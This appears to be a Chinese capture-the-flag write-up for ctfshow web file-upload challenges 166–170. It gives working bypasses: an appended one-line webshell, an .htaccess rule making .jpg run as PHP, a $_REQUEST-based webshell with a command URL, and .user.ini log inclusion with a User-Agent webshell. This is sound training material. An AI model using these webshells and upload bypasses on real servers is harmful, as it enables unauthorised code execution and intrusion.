ctfshow web文件上传 web166-170

1.web166

通过源码上传发现只能传zip,尝试一下图片上传也不行

把随便一张图片打包成zip文件,上传后发现有一个下载的地方,猜测是文件上传,尝试zip伪协议发现失败,打包php文件也失败了,不知为什么,,上传图片,在zip文件最后加入一句话木马,上传执行,得到flag

2.web167

打开题目时发现有一个httpd,httpd是apache的服务,关于apache的文件上传中有一个.htaccess配置文件,可以进行文件包含

上传一张图片,发现有个下载文件但是没有包含点,所以就想到像上传配置文件来使jpg可以被包含

.htaccess写入一下内容

bash 复制代码
<FilesMatch "\.jpg">
  SetHandler application/x-httpd-php
</FilesMatch>

上传一张图片,写入一句话木马

执行命令即可得到flag

3.web168

根据提示,基础免杀

上传php文件,修改mime类型,通过测试发现过滤了eval,post,get等函数

使用$_REQUEST绕过

上传的php文件写入

php 复制代码
<?php $_REQUEST[1]($_REQUEST[2])?>

执行命令,即可得到flag

xxx/upload/1.php?1=sytem&2=tac .../flaaa.php

4.web169

通过上传发现<? php等都被过滤了,所以只能考虑文件包含,这题可以用日志包含来做

服务器是nignx,上传.user.ini来进行日志包含

进行包含时要注意在上传文件的目录中需要有index.php文件,因为没有index.php文件,所以先上传一个index.php文件,里面随便写就可以了

index.php

.user.ini

复制代码
auto_append_file=/var/log/nginx/access.log```

访问上传的文件位置,在user-agent写入一句话木马

post传入1=system("tac .../flagaa.php"); 执行得到flag

5.web170

和169完全一样

相关推荐
Suckerbin3 小时前
DarkHole: 2靶场渗透
笔记·安全·web安全·网络安全
lingggggaaaa5 小时前
小迪安全v2023学习笔记(七十八讲)—— 数据库安全&Redis&CouchDB&H2database&未授权&CVE
redis·笔记·学习·算法·安全·网络安全·couchdb
塔子终结者11 小时前
网络安全A模块专项练习任务十解析
java·服务器·网络安全
2301_7807896612 小时前
渗透测试与网络安全审计的关系
网络·数据库·安全·web安全·网络安全
王火火(DDoS CC防护)13 小时前
服务器IP暴露被攻击了怎么办?
服务器·网络安全·ddos攻击
2401_8653825016 小时前
各省市信息化项目管理办法中的网络安全等级保护如何规定的?
网络安全·信息化项目·项目审批
墨染 殇雪1 天前
文件上传漏洞基础及挖掘流程
网络安全·漏洞分析·漏洞挖掘·安全机制
网络安全大学堂1 天前
【网络安全入门基础教程】网络安全零基础学习方向及需要掌握的技能
网络·学习·安全·web安全·网络安全·黑客
君君思密达1 天前
网络安全初级-渗透测试
安全·网络安全
网安INF1 天前
【论文阅读】-《Besting the Black-Box: Barrier Zones for Adversarial Example Defense》
人工智能·深度学习·网络安全·黑盒攻击